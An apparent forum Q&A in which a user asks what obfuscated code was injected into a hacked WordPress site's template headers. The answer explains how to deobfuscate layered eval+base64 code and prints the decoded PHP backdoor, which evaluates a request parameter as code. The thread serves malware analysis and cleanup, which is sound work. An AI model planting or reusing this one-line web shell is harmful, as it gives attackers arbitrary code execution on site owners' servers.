有人可以解码这个脏代码吗？

Question

One of my friend's wordpress website is hacked by someone and they put the following code on the header of all template files.

http://pastebin.com/dYcQ1Gri

I tried to decode it with base64 decoder. But the output looks odd. Can you guys tell me what type of encoding is this?

Answer 1

It's a series of eval+base64 encryption. After decoding, the code would be:

if (isset($_REQUEST['r' . 'e' . 'y' . 'yo']))
    eval(stripslashes($_REQUEST['r' . 'e' . 'y' . 'y' . 'o']));

Here's how I got that:

• Copy the entire code into your text editor
• Supply \/\*.*?\*\/ as the search pattern, and replace with '' (empty string)
• Now you'll get one or more eval() stattements. Change that to echo.
• Repeat

Basically this code will allow the attacker to inject and execute arbitrary code on your website.